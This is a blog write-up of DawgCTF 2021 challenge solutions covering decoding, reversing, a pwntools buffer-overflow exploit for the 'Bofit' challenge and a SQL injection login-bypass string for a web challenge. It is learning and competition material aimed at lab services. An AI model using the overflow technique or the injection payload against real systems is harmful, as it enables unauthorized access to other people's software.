Skip to content

DawgCTF 2021

Published:

I came 125th out of 514 participating teams. I really enjoyed the CTF and appreciated that it was pretty beginner friendly. My favourite challenges were the Binary Bomb and the Two Truths and a Fib.

Table of contents

Open Table of contents

crypto

cookin the ramen - 50 points

Apparently we made cookin the books too hard, here’s some ramen to boil as a warmup: .--- …- …- . …- …- … ..--- .. .-. .— —. -.-. .— -.- -.— -. -… ..--- ..-. -.-. …- …— ..- —. .--- … ..- .. —.. -.-. … — …- -.- . ..- — - . -. …- -. ..-. --- -.— —.. - .-.. .--- —.. —. —. …— … -.-. -.- … .--- ..- --- -. -.- -..- -.- —.. -.- …- ..- .— - -.. .--- -… … ..-. —. —.. -.- -..- .. —.. .— …- … — …— —.- —. ..-. … .— --- .—. .--- …

Author: trashcanna

Figured out a CyberChef recipe by clicking around: https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line feed')From_Base32('A-Z2-7%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true,false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)

Flag: DawgCTF{0k@y_r3al_b@by's_f1r5t}

Misc

Two Truths and a Fib - 100 points

Can you catch the fibber?

Author: trashcanna

You’re given three numbers and have to identify the fibonacci number within a few seconds. If you correctly pick out the fibonacci number a hundred times in a row, then you get the flag. I used the logic at https://www.geeksforgeeks.org/python-program-for-how-to-check-if-a-given-number-is-fibonacci-number/ to quickly figure out which numbers are fibonacci.

from pwn import *
import sys
import math


# A utility function that returns true if x is perfect square
def is_perfect_square(x):
    s = int(math.sqrt(x))
    return s * s == x


def is_fibonacci(n):
    # n is Fibinacci if one of 5*n*n + 4 or 5*n*n - 4 or both
    return is_perfect_square(5 * n * n + 4) or is_perfect_square(5 * n * n - 4)


def main(host, port):
    r = remote(host, port)
    print(r.recvlines(10))  # receive intro text
    candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
    print(r.recv(3))  # receive prompt
    fibonacci_number = list(filter(is_fibonacci, candidates))[0]
    payload = str(fibonacci_number).encode() + b'\n'
    print('sending...',  payload)
    r.send(payload)

    while True:
        # get entire response
        print(r.recvlines(2))
        candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
        print(r.recv(3))
        fibonacci_number = list(filter(is_fibonacci, candidates))[0]
        payload = str(fibonacci_number).encode() + b'\n'
        print('sending...',  payload)
        r.send(payload)


if __name__ == '__main__':
    host = sys.argv[1]  # umbccd.io 6000
    port = sys.argv[2]

    main(host, port)
    pass

Flag: DawgCTF{jU$T_l1k3_w3lc0me_w33k}

pwn

Bofit - 125 points

Because Bop It is copyrighted, apparently

Author: trashcanna

The program asks you to enter a specific character in response to each prompt. Unless it asks you to Shout it!, then you’re expected to enter any characters, as long as you enter at least 10. This part is received using gets which is vulnerable, so we just return to the target function. I’m getting the hang of gets pwn tasks.

from pwn import *

host = sys.argv[1] if len(sys.argv) > 1 else 'umbccd.io'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 4100
conn = remote(host, port)
print(conn.recvlines(6))

TARGET_ADDRESS = 0x401256
packed_address = p64(TARGET_ADDRESS, endianness='little')

while True:
    command = conn.recvline()
    print(command)
    if command.startswith(b'BOF'):
        conn.sendline(b'B')
    elif command.startswith(b'Pull'):
        conn.sendline(b'P')
    if command.startswith(b'Twist'):
        conn.sendline(b'T')
    if command.startswith(b'Shout'):
        conn.sendline(b'A' * 0x38 + packed_address)
        break

conn.recvline()
conn.sendline(b'x')  # force return
print(conn.recvline())  # print flag

if __name__ == '__main__':
    pass

Flag: DawgCTF{n3w_h1gh_sc0r3!!}

rev

Author: Percival

Solution

I believe these were intended to be pretty entry-level reversing challenges. This is because there was some story and were trying to teach different parts of reverse engineering, such as learning about sections in PE files. If I remember correctly they all had some intentionally rudimentary anti-debug. However, in the end, they all led to decrypting the flag by XORing against 0x78.

Here’s the IDAPython command I used to extract the flag for secret app: ''.join([chr(e^0x78) for e in get_bytes(0x417B50, 0x19)])

Challenges solved in this way:

calculator - 50 points

secret app - 50 points

Sections - 75 points

Who am I - 100 points

web

Dr Hrabowskis Great Adventure - 150 points

President Freeman Hrabowski is having a relaxing evening in Downtown Baltimore. But he forgot his password to give all UMBC students an A in all their classes this semester! Find a way to log in and help him out.

Author: Clearedge

We’re given a user/password prompt, in the username field I put user' OR '1'='1' -- , and whatever for the password field.

Flag: DawgCTF{WeLoveTrueGrit}

Just A Comment - 50 points

Just a comment, we love our people here at ClearEdge! Author: Clearedge

We’re given a pcap and there were a lot of packets so I grepped for the flag instead.

/DawgCTF{[^}]+}/

Flag: DawgCTF{w3 h34r7 0ur 1r4d 734m}

Binary Bomb

Author: treap_treap

Part 1 - 25 points

Starting off easy… reversing (things) is fun!

Reverse the string! Easy peasy Flag: DawgCTF{R3veR51nG_7h3_s7r1nG}

Part 2 - 50 points

Can you help me find my lost key so I can read my string?

Single byte XOR DawgCTF{An07h3R_rEv3r5aL_mE7h0d}

Part 3 - 75 points

Reflections? Rotations? Translations? This is starting to sound like geometry…

Looks like an one-to-one/onto function, just generate output for every input. It at least works for inputs < 0x80. I didn’t bother to figure out what this function represents.

def func3_1(c):
    if c > 0x40 and c <= 0x5a:
        c -= 0xD
        if c > 0x40:
            v1 = 0
        else:
            v1 = 0x1a
        c += v1
    if c > 0x60 and c <= 0x7a:
        c -= 0xD
        if c > 0x60:
            v2 = 0
        else:
            v2 = 0x1a
        c += v2
    return c


def func3_2(c):
    if c > 0x20 and c != 0x7f:
        c -= 0x2f
        if c > 0x20:
            v1 = 0
        else:
            v1 = 0x5e
        c += v1
    return c


if __name__ == '__main__':
    target = [int(x, 16) for x in '22 5F 39 7E 4A 62 30 21 3D 41 60 47 21 30 36 71 66 63 38 27 5F 32 30 75 66 36 60 32 25 37'.split(' ')]
    # the dumb way
    res = []
    for t in target:
        for i in range(0, 0x80):  # NOT 0x100, you end up with multiple candidates
            if t == func3_2(func3_1(i)):
                res.append(i)

    print(''.join(chr(c) for c in res))

Flag: DawgCTF{D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs}

Part 4 - 150 points

This is the phase you have been waiting for… one may say it’s the golden stage!

Let’s switch things up! Numerical inputs map to line numbers in rockyou.txt, and each word is separated by a ’’ (if the phase’s solution is 4 5, the flag would be DawgCTF{passwordiloveyou})

Ported the core function to python to see what it did, realised it was generating the fibonacci sequence. Each target number is multiplied by the 10th term in the fibonacci sequence, and then you have to invert the result.

def func4(a):  # fibonacci
    if a <= 0:
        return 0
    if a == 1:
        return 1
    return func4(a-1) + func4(a-2)


def fibonacci_generator():
    n1, n2 = 0, 1
    while True:
        yield n1
        nth = n1 + n2
        # update values
        n1 = n2
        n2 = nth


if __name__ == '__main__':
    targets = [t * func4(10) for t in [1, 123, 15128, 1860621]]
    user_inputs = []

    for i, fib in enumerate(fibonacci_generator()):
        if fib == targets[0]:
            user_inputs.append(i)
            if len(targets) > 1:
                targets = targets[1:]
            else:
                break
            if fib > 102334155:
                print('unhappy')
                break

    print('user inputs:', user_inputs)

    rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]
    print('_'.join([rockyou[line_no-1] for line_no in user_inputs]))

Flag: DawgCTF{abc123_qwerty_anthony_123123}

Part 5 - 150 points

Are you really, really ready and excited for this stage?

(Flag uses the same rockyou.txt format as BBomb Phase 4)

We’re given a couple of constraints, just have to make sure they’re all satisfied.

From Reversing

Amendments from the author on Discord

# rockyou_getter.py
def convert_to_rockyou_flag(li):  
    rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]  
    return 'DawgCTF{' + '_'.join([rockyou[line_no-1] for line_no in li]) + '}'
import math
from itertools import combinations

from rockyou_getter import convert_to_rockyou_flag

target_sum = 8084
candidates = []
for i in range(2010, 2200):
    is_candidate = True
    for j in range(3, math.ceil(i / 2)):
        if i % j == 0:
            is_candidate = False
            break
    if is_candidate:
        candidates.append(i)

for x in filter(lambda e: sum(e) == 8084, combinations(candidates, 4)):
    a, b, c, d = list(sorted(x))
    if a < b - 10 or b < c - 10 or c < d - 10:  # from reversing
        continue
    res = [a, b, c, d]
    print(convert_to_rockyou_flag(res))

if __name__ == '__main__':
    pass

Flag: DawgCTF{kayla1_harris_ilovemike_valencia}

Part 6 - 175 points

Oh no… I lost the key to my string again :(

Can extract the target bytes with the below IDA script:

# click on 0x1843 and then run:

import idc
l = idc.get_screen_ea()
res = []
for i in range(24):
  text = idc.GetDisasm(l)
  val = text.split(';')[0].split(',')[1].split('h')[0].strip()
  res.append(int(val, 16))
  l = idc.next_head(l)

print(res)

Noticed it’s just doing bit manipulation… Here’s the decompiler output

  for ( i = 0; i < strlen(target) && i < strlen(user_input); ++i )
  {
    user_input[i] = ((unsigned __int8)(user_input[i] & 0xF0) >> 4) | (16 * user_input[i]);
    user_input[i] ^= 0x64u;
    if ( user_input[i] != target[i] )
      v4 = 0;
  }

Here’s the script I wrote

target = [64, 119, 35, 145, 176, 114, 130, 119, 99, 49, 162, 114, 33, 242, 103, 130, 145, 119, 38, 145, 0, 51, 130, 196]

# go backwards
res = []
for t in target:
    _t = (t ^ 0x64)
    _t = ( (_t << 4) | (_t >> 4) ) & 0xff
    res.append(_t)
print(''.join([chr(e) for e in res]))

Flag: DawgCTF{B1t_Man1pUlaTi0n_1$_Fun}


Previous Post
wtfctf 2021
Next Post
dCTF 2021